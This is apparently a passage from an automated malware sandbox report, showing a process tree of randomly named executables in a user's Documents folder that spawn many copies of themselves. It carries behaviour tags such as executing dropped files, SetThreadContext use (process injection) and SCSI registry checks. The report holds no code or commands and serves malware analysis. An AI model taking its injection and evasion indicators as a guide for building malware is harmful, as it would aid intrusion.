C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10160

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9812

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9848

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8464

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10388

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9324

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11560

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11820

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12124

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12220

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11552

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11932

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12980

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13172

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11640

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13148

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13044

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6704

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4216

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6912

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10632

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13424

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13616

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13916

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14152

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5508

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9428

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14076

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5604

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 28
4⤵
- Program crash
PID:13360

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14264

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11460

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13836

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12900

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11720

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6864

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9576

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11948

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7420

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13276

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7924

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12016

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11360

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13248

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11552

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10488

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10544

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10924

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11484

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12052

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3176

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11144

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12216

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7556

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8332

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11044

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1816

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6240

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2240

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9464

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12512

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9572

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13600

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2740

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14276

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13416

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13980

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:13936

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12972

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10900

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14708

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:15076

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14508

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5168

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 12340 -s 28
4⤵
- Program crash
PID:15768

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:15428

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:15980

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:15588

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14848

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4864

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12700

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:16980

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11296

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:12660

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:17256

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2880

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:14732

C:\Users\Admin\Documents\pZ21gI9glwA0_gE3DYI_MJ93.exe
"C:\Users\Admin\Documents\pZ21gI9glwA0_gE3DYI_MJ93.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4480

C:\Users\Admin\Documents\pZ21gI9glwA0_gE3DYI_MJ93.exe
"C:\Users\Admin\Documents\pZ21gI9glwA0_gE3DYI_MJ93.exe"
3⤵
PID:7104

C:\Users\Admin\Documents\dGTpOqHh8qXCb6nq4EdERMAE.exe
"C:\Users\Admin\Documents\dGTpOqHh8qXCb6nq4EdERMAE.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4580

C:\Users\Admin\Documents\dGTpOqHh8qXCb6nq4EdERMAE.exe
"C:\Users\Admin\Documents\dGTpOqHh8qXCb6nq4EdERMAE.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4644

C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe
"C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4800

C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe
"C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe"
3⤵
PID:5996

C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe
"C:\Users\Admin\Documents\TDuuo2KVaN8WO9_kRTDJDVlb.exe"
3⤵
PID:2248

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
"C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3184

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:4900

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:5268

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:3432

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:6064

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:5884

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:5540

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Executes dropped EXE
PID:4216

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:788

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1320

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:928

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1908

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6888

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6624

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6920

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4180

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6648

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7704

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5084

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6012

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7504

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4176

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2852

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7948

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7848

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8076

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4032

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3560

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8016

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3916

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5852

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6976

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5228

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3448

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3828

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5640

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4304

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5840

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7252

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5908

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7488

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5240

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6432

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7584

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4840

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6556

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5932

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5856

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2096

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5180

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7500

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5092

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4600

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8668

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9052

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8584

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9196

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1052

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4764

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6652

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8352

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3780

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4004

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8780

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8108

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5852

